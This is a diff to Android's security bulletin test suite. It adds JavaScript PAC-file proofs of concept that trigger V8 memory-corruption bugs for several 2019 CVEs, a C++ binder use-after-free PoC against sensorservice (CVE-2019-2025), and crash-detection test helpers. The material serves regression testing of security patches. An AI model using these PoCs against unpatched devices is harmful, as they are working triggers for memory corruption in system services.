         <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
         <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
         <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
@@ -183,6 +187,7 @@
         <!-- Bulletin 2019-03 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
+        <option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
 
         <option name="append-bitness" value="true" />
     </target_preparer>
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2045.pac b/hostsidetests/securitybulletin/res/CVE-2019-2045.pac
new file mode 100644
index 0000000..1cb28ff
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2045.pac
@@ -0,0 +1,40 @@
+function FindProxyForURL(url, host){
+    opttest();
+    opttest();
+    opttest();
+    opttest();
+    opttest();
+    opttest();
+    opttest();
+    opttest();
+    return "DIRECT";
+}
+
+function maxstring() {
+  // force TurboFan
+  try {} finally {}
+
+  var i = 'A'.repeat(2**28 - 16).indexOf("", 2**28);
+  i += 16; 
+  i >>= 28; 
+  i *= 1000000;
+  //i *= 3;
+  if (i >= 3) {
+    return 0;
+  } else {
+    var arr = [0.1, 0.2, 0.3, 0.4];
+    return arr[i];
+  }
+}
+
+function opttest() {
+  for (var j = 0; j < 100000; j++) {
+    var o = maxstring();
+    if (o == 0 || o == undefined) {
+      continue;
+    }
+    console.log(o);
+    return o;
+  }
+}
+
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2047.pac b/hostsidetests/securitybulletin/res/CVE-2019-2047.pac
new file mode 100644
index 0000000..5e39e9b
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2047.pac
@@ -0,0 +1,43 @@
+function FindProxyForURL(url, host){
+    for(var i = 0;i<0x10000;i++){
+        change_elements_kind(x);
+    }
+
+    for(var i = 0;i<0x10000;i++){
+        write_as_unboxed();
+    }
+
+    change_elements_kind(evil);
+
+    write_as_unboxed();
+
+    try{
+        evil[0].x;
+    }catch(e){
+    }
+    return "DIRECT";
+}
+
+function change_elements_kind(a){
+    a[0] = Array;
+}
+function read_as_unboxed(){
+    return evil[0];
+}
+
+function write_as_unboxed(){
+    evil[0] = 2.37341197482723178190425716704E-308; //0x00111111 00111111
+}
+
+change_elements_kind({});
+
+var map_manipulator = new Array(1.0,2.3);
+map_manipulator.x = 7;
+change_elements_kind(map_manipulator);
+
+map_manipulator.x = {};
+
+var evil = new Array(1.1,2.2);
+evil.x = {};
+
+var x = new Array({});
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2052.pac b/hostsidetests/securitybulletin/res/CVE-2019-2052.pac
new file mode 100644
index 0000000..ab5ed69
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2052.pac
@@ -0,0 +1,32 @@
+function FindProxyForURL(url, host){
+    for(var i = 0;i < 0x1000;i++){
+        tt();
+    }
+
+    return "DIRECT";
+}
+
+function tt(){
+    var evil_o = {};
+    var reg = /abc/y;
+    var num = {};
+    num.toString = function(){
+	    change_to_dict();
+	    return 0x0;
+    }
+
+
+    function change_to_dict(){
+	    for(var i = 0;i < 0x100;i++){
+		    reg["a"+i.toString(16)] = i;
+	    }
+    }
+
+    evil_o.toString = function(){
+	    //change_to_dict();
+	    reg.lastIndex = num;
+	    return "abc".repeat(0x1000);
+    }
+
+    String.prototype.replace.call(evil_o,reg,function(){});
+}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2097.pac b/hostsidetests/securitybulletin/res/CVE-2019-2097.pac
new file mode 100644
index 0000000..6c0a8b0
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2097.pac
@@ -0,0 +1,22 @@
+function FindProxyForURL(url, host){
+    for (var  i = 0; i < 0x10000; i++){
+        f();
+    }
+    array[0] = double_arr;
+    f();
+    try {
+    double_arr[1].x;
+    }catch(e){}
+    return "DIRECT";
+}
+
+var double_arr = [1.1, 2.2];
+var array = [[0.1],[0.1],[0.1]];
+
+function f(){
+    double_arr[0] = 3.3;
+    for(var i = 0; i < array.length; i++){
+        array[i][0] = {"abcd":0x4321};
+    }
+    double_arr[1] = 6.176516726456e-312;
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2130.pac b/hostsidetests/securitybulletin/res/CVE-2019-2130.pac
new file mode 100644
index 0000000..79d1967
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2130.pac
@@ -0,0 +1,21 @@
+function FindProxyForURL(url, host){
+    function opt() {
+        opt['x'] = 1.1;
+        try {
+            Object.create(object);
+        } catch (e) {
+        }
+
+        for (let i = 0; i < 100000; i++) {
+
+        }
+    }
+
+    opt();
+    object = opt;
+    opt();
+
+    return "DIRECT";
+}
+
+var object;
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/res/bug_138441919.pac b/hostsidetests/securitybulletin/res/bug_138441919.pac
new file mode 100644
index 0000000..61a9ee2
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/bug_138441919.pac
@@ -0,0 +1,6 @@
+function FindProxyForURL(url, host){
+    Object.defineProperty(Promise, Symbol.species, { value: 0 });
+    var p = new Promise(function() {});
+    p.then();
+    return "DIRECT";
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/res/bug_138442295.pac b/hostsidetests/securitybulletin/res/bug_138442295.pac
new file mode 100644
index 0000000..fc8fd5f
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/bug_138442295.pac
@@ -0,0 +1,7 @@
+function FindProxyForURL(url, host){
+  _v3 = ({ _v7 = (function outer() {  
+                  for ([...[]][function inner() {}] in []) {}
+                })} = {}) => {};
+  _v3();
+  return "DIRECT";
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk
new file mode 100644
index 0000000..9e62920
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2019-2025
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+    libutils \
+    liblog \
+    libcutils \
+    libsensor \
+    libbase \
+    libbinder \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h
new file mode 100644
index 0000000..38169fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2005 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef ANDROID_IPC_THREAD_STATE_H
+#define ANDROID_IPC_THREAD_STATE_H
+
+#include <utils/Errors.h>
+#include <binder/Parcel.h>
+#include <binder/ProcessState.h>
+#include <utils/Vector.h>
+
+#if defined(_WIN32)
+typedef  int  uid_t;
+#endif
+
+// ---------------------------------------------------------------------------
+namespace android {
+
+class IPCThreadState
+{
+public:
+    static  IPCThreadState*     self();
+    static  IPCThreadState*     selfOrNull();  // self(), but won't instantiate
+    
+            sp<ProcessState>    process();
+            
+            status_t            clearLastError();
+
+            pid_t               getCallingPid() const;
+            uid_t               getCallingUid() const;
+
+            void                setStrictModePolicy(int32_t policy);
+            int32_t             getStrictModePolicy() const;
+
+            void                setLastTransactionBinderFlags(int32_t flags);
+            int32_t             getLastTransactionBinderFlags() const;
+
+            int64_t             clearCallingIdentity();
+            void                restoreCallingIdentity(int64_t token);
+            
+            int                 setupPolling(int* fd);
+            status_t            handlePolledCommands();
+            void                flushCommands();
+
+            void                joinThreadPool(bool isMain = true);
+            
+            // Stop the local process.
+            void                stopProcess(bool immediate = true);
+            
+            status_t            transact(int32_t handle,
+                                         uint32_t code, const Parcel& data,
+                                         Parcel* reply, uint32_t flags);
+
+            void                incStrongHandle(int32_t handle, BpBinder *proxy);
+            void                decStrongHandle(int32_t handle);
+            void                incWeakHandle(int32_t handle, BpBinder *proxy);
+            void                decWeakHandle(int32_t handle);
+            status_t            attemptIncStrongHandle(int32_t handle);
+    static  void                expungeHandle(int32_t handle, IBinder* binder);
+            status_t            requestDeathNotification(   int32_t handle,
+                                                            BpBinder* proxy); 
+            status_t            clearDeathNotification( int32_t handle,
+                                                        BpBinder* proxy); 
+
+    static  void                shutdown();
+
+    // Call this to disable switching threads to background scheduling when
+    // receiving incoming IPC calls.  This is specifically here for the
+    // Android system process, since it expects to have background apps calling
+    // in to it but doesn't want to acquire locks in its services while in
+    // the background.
+    static  void                disableBackgroundScheduling(bool disable);
+            bool                backgroundSchedulingDisabled();
+
+            // Call blocks until the number of executing binder threads is less than
+            // the maximum number of binder threads threads allowed for this process.
+            void                blockUntilThreadAvailable();
+    static  void                freeBuffer(Parcel* parcel,
+                                           const uint8_t* data, size_t dataSize,
+                                           const binder_size_t* objects, size_t objectsSize,
+                                           void* cookie);
+    static  void                freeBuffer1(Parcel* parcel,
+                                       const uint8_t* data, size_t dataSize,
+                                       const binder_size_t* objects, size_t objectsSize,
+                                       void* cookie);
+private:
+                                IPCThreadState();
+                                ~IPCThreadState();
+
+            status_t            sendReply(const Parcel& reply, uint32_t flags);
+            status_t            waitForResponse(Parcel *reply,
+                                                status_t *acquireResult=NULL);
+            status_t            talkWithDriver(bool doReceive=true);
+            status_t            writeTransactionData(int32_t cmd,
+                                                     uint32_t binderFlags,
+                                                     int32_t handle,
+                                                     uint32_t code,
+                                                     const Parcel& data,
+                                                     status_t* statusBuffer);
+            status_t            getAndExecuteCommand();
+            status_t            executeCommand(int32_t command);
+            void                processPendingDerefs();
+            void                processPostWriteDerefs();
+
+            void                clearCaller();
+
+    static  void                threadDestructor(void *st);
+    
+    const   sp<ProcessState>    mProcess;
+            Vector<BBinder*>    mPendingStrongDerefs;
+            Vector<RefBase::weakref_type*> mPendingWeakDerefs;
+            Vector<RefBase*>    mPostWriteStrongDerefs;
+            Vector<RefBase::weakref_type*> mPostWriteWeakDerefs;
+            Parcel              mIn;
+            Parcel              mOut;
+            status_t            mLastError;
+            pid_t               mCallingPid;
+            uid_t               mCallingUid;
+            int32_t             mStrictModePolicy;
+            int32_t             mLastTransactionBinderFlags;
+};
+
+}; // namespace android
+
+// ---------------------------------------------------------------------------
+
+#endif // ANDROID_IPC_THREAD_STATE_H
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
new file mode 100644
index 0000000..48ece98
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
@@ -0,0 +1,183 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+
+#if _64BIT
+
+#include <cutils/ashmem.h>
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <linux/futex.h>
+#include <pthread.h>
+#include <sensor/ISensorEventConnection.h>
+#include <sensor/ISensorServer.h>
+#include <sensor/Sensor.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/prctl.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/xattr.h>
+#include <utils/Vector.h>
+
+#include "IPCThreadState.h"
+#include "binder/IServiceManager.h"
+
+
+using namespace android;
+
+#define SLEEP 0
+#define ATTACK 1
+String8 packageName("hexb1n");
+String16 opPackageName("");
+
+time_t test_started;
+
+static volatile int attack_signal;
+int my_futex(volatile int *uaddr, int op, int val,
+             const struct timespec *timeout, int *uaddr2, int val3) {
+  return syscall(SYS_futex, uaddr, op, val, timeout, uaddr2, val3);
+}
+
+static void *bcfree_helper(void *p) {
+  (void) p;
+  Parcel data, reply;
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("sensorservice"));
+  sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
+  sp<ISensorEventConnection> sensorEventConnection =
+      sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
+                                          opPackageName);
+  while (timer_active(test_started)) {
+    Parcel data, reply;
+    data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
+    my_futex(&attack_signal, FUTEX_WAIT_PRIVATE, SLEEP, NULL, NULL, 0);
+    usleep(100);
+    IInterface::asBinder(sensorEventConnection)
+        ->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
+  }
+
+  return NULL;
+}
+
+static void *bcfree(void *p) {
+  (void) p;
+  Parcel data, reply;
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("sensorservice"));
+  sp<ISensorServer> sensor = interface_cast<ISensorServer>(binder);
+  sp<ISensorEventConnection> sensorEventConnection =
+      sensor->createSensorEventConnection(packageName, 0 /*NORMAL*/,
+                                          opPackageName);
+  while (timer_active(test_started)) {
+    Parcel data, reply;
+    data.writeInterfaceToken(String16("android.gui.SensorEventConnection"));
+
+    {
+      IInterface::asBinder(sensorEventConnection)
+          ->transact(4 /*FLUSH_SENSOR*/, data, &reply, 0);
+      const uint8_t *rmData = reply.data();
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+    }
+
+    attack_signal = ATTACK;
+    my_futex(&attack_signal, FUTEX_WAKE_PRIVATE, 1, NULL, NULL, 0);
+    usleep(100);
+    {
+      Parcel data, reply;
+      IInterface::asBinder(sensorEventConnection)
+          ->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
+      for (int i = 0; i < 20; i++)
+        IInterface::asBinder(sensorEventConnection)
+            ->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
+    }
+    attack_signal = SLEEP;
+  }
+
+  return NULL;
+}
+
+int main() {
+  pthread_t t1, t2, t3;
+
+  test_started = start_timer();
+
+  pthread_create(&t1, NULL, bcfree_helper, NULL);
+  pthread_create(&t2, NULL, bcfree, NULL);
+  pthread_create(&t3, NULL, bcfree_helper, NULL);
+  pthread_join(t1, NULL);
+  pthread_join(t2, NULL);
+  pthread_join(t3, NULL);
+  return EXIT_SUCCESS;
+}
+
+#else
+int main() {
+  // do nothing on 32-bit because we can't compile on 32-bit and we need a
+  // binary to push or the filepusher will break on 32-bit.
+}
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/Android.mk b/hostsidetests/securitybulletin/securityPatch/pac/Android.mk
new file mode 100644
index 0000000..bd9c07d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/pac/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := pacrunner
+LOCAL_SRC_FILES := pac.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES:= \
+        $(TOP)/external/chromium-libpac/includes \
+
+LOCAL_SHARED_LIBRARIES := \
+        libpac \
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
new file mode 100644
index 0000000..393848d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <proxy_resolver_v8_wrapper.h>
+#include <sys/types.h>
+#include <string.h>
+#include <codecvt>
+#include <fstream>
+#include <iostream>
+
+const char16_t* spec = u"";
+const char16_t* host = u"";
+
+int main(int argc, char *argv[]) {
+  if (argc != 2) {
+    std::cout << "incorrect number of arguments" << std::endl;
+    std::cout << "usage: ./pacrunner mypac.pac" << std::endl;
+    return EXIT_FAILURE;
+  }
+
+  ProxyResolverV8Handle* handle = ProxyResolverV8Handle_new();
+
+  std::ifstream t;
+  t.open(argv[1]);
+  if (t.rdstate() != std::ifstream::goodbit) {
+    std::cout << "error opening file" << std::endl;
+    return EXIT_FAILURE;
+  }
+  t.seekg(0, std::ios::end);
+  size_t size = t.tellg();
+  // allocate an extra byte for the null terminator
+  char* raw = (char*)calloc(size + 1, sizeof(char));
+  t.seekg(0);
+  t.read(raw, size);
+  std::string u8Script(raw);
+  std::u16string u16Script = std::wstring_convert<
+        std::codecvt_utf8_utf16<char16_t>, char16_t>{}.from_bytes(u8Script);
+
+  ProxyResolverV8Handle_SetPacScript(handle, u16Script.data());
+  ProxyResolverV8Handle_GetProxyForURL(handle, spec, host);
+
+  ProxyResolverV8Handle_delete(handle);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 405cb5e..e91e8f0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -16,6 +16,7 @@
 
 package android.security.cts;
 
+import com.android.compatibility.common.util.CrashUtils;
 import com.android.ddmlib.NullOutputReceiver;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.ITestDevice;
@@ -26,9 +27,15 @@
 import java.io.FileOutputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
+import java.util.List;
+import java.util.regex.Pattern;
 import java.util.concurrent.TimeUnit;
 import java.util.Scanner;
 
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
 import static org.junit.Assert.*;
 
 public class AdbUtils {
@@ -241,4 +248,79 @@
         assertTrue("PoC returned exit status 113: vulnerable",
                 runPocGetExitStatus(pocName, device, timeout) != 113);
     }
+
+    public static int runProxyAutoConfig(String pacName, ITestDevice device) throws Exception {
+        runCommandLine("chmod +x /data/local/tmp/pacrunner", device);
+        String targetPath = "/data/local/tmp/" + pacName + ".pac";
+        AdbUtils.pushResource("/" + pacName + ".pac", targetPath, device);
+        int code = runCommandGetExitCode("/data/local/tmp/pacrunner " + targetPath, device);
+        runCommandLine("rm " + targetPath, device);
+        return code;
+    }
+
+    /**
+     * Runs the poc binary and asserts that there are no security crashes that match the expected
+     * process pattern.
+     * @param pocName a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
+     */
+    public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
+            String... processPatternStrings) throws Exception {
+        AdbUtils.runCommandLine("logcat -c", device);
+        // account for the poc timer of 5 minutes (+15 seconds for safety)
+        AdbUtils.runPocNoOutput(pocName, device, 315);
+        assertNoCrashes(device, processPatternStrings);
+    }
+
+    /**
+     * Dumps logcat and asserts that there are no security crashes that match the expected process.
+     * By default, checks min crash addresses
+     * pattern. Ensure that adb logcat -c is called beforehand.
+     * @param device device to be ran on
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
+     */
+    public static void assertNoCrashes(ITestDevice device, String... processPatternStrings)
+            throws Exception {
+        assertNoCrashes(device, true, processPatternStrings);
+    }
+
+    /**
+     * Dumps logcat and asserts that there are no security crashes that match the expected process
+     * pattern. Ensure that adb logcat -c is called beforehand.
+     * @param device device to be ran on
+     * @param checkMinAddress if the minimum fault address should be respected
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
+     */
+    public static void assertNoCrashes(ITestDevice device, boolean checkMinAddress,
+            String... processPatternStrings) throws Exception {
+        String logcat = AdbUtils.runCommandLine("logcat -d *:S DEBUG:V", device);
+
+        Pattern[] processPatterns = new Pattern[processPatternStrings.length];
+        for (int i = 0; i < processPatternStrings.length; i++) {
+            processPatterns[i] = Pattern.compile(processPatternStrings[i]);
+        }
+        JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
+        JSONArray securityCrashes =
+                CrashUtils.matchSecurityCrashes(crashes, checkMinAddress, processPatterns);
+
+        if (securityCrashes.length() == 0) {
+            return; // no security crashes detected
+        }
+
+        StringBuilder error = new StringBuilder();
+        error.append("Security crash detected:\n");
+        error.append("Process patterns:");
+        for (String pattern : processPatternStrings) {
+            error.append(String.format(" '%s'", pattern));
+        }
+        error.append("\nCrashes:\n");
+        for (int i = 0; i < crashes.length(); i++) {
+            try {
+                JSONObject crash = crashes.getJSONObject(i);
+                error.append(String.format("%s\n", crash));
+            } catch (JSONException e) {}
+        }
+        fail(error.toString());
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index 9a7e62a..25c1373 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -44,10 +44,6 @@
      */
     @SecurityTest(minPatchLevel = "2016-04")
     public void testPocCVE_2016_2412() throws Exception {
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPoc("CVE-2016-2412", getDevice(), 60);
-        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> system_server <<<",
-            logcatOut);
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-2412", getDevice(), "system_server");
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index 20536ea..a0aecc5e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -32,11 +32,7 @@
      */
     @SecurityTest(minPatchLevel = "2016-07")
     public void testPocCVE_2016_3746() throws Exception {
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPoc("CVE-2016-3746", getDevice(), 60);
-        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11.*?>>> /system/bin/mediaserver <<<",
-            logcat);
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-3746", getDevice(), "mediaserver");
     }
 
     /**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
index 98994e1..6daa385 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -26,9 +26,6 @@
      */
     @SecurityTest(minPatchLevel = "2016-10")
     public void testPocCVE_2016_3913() throws Exception {
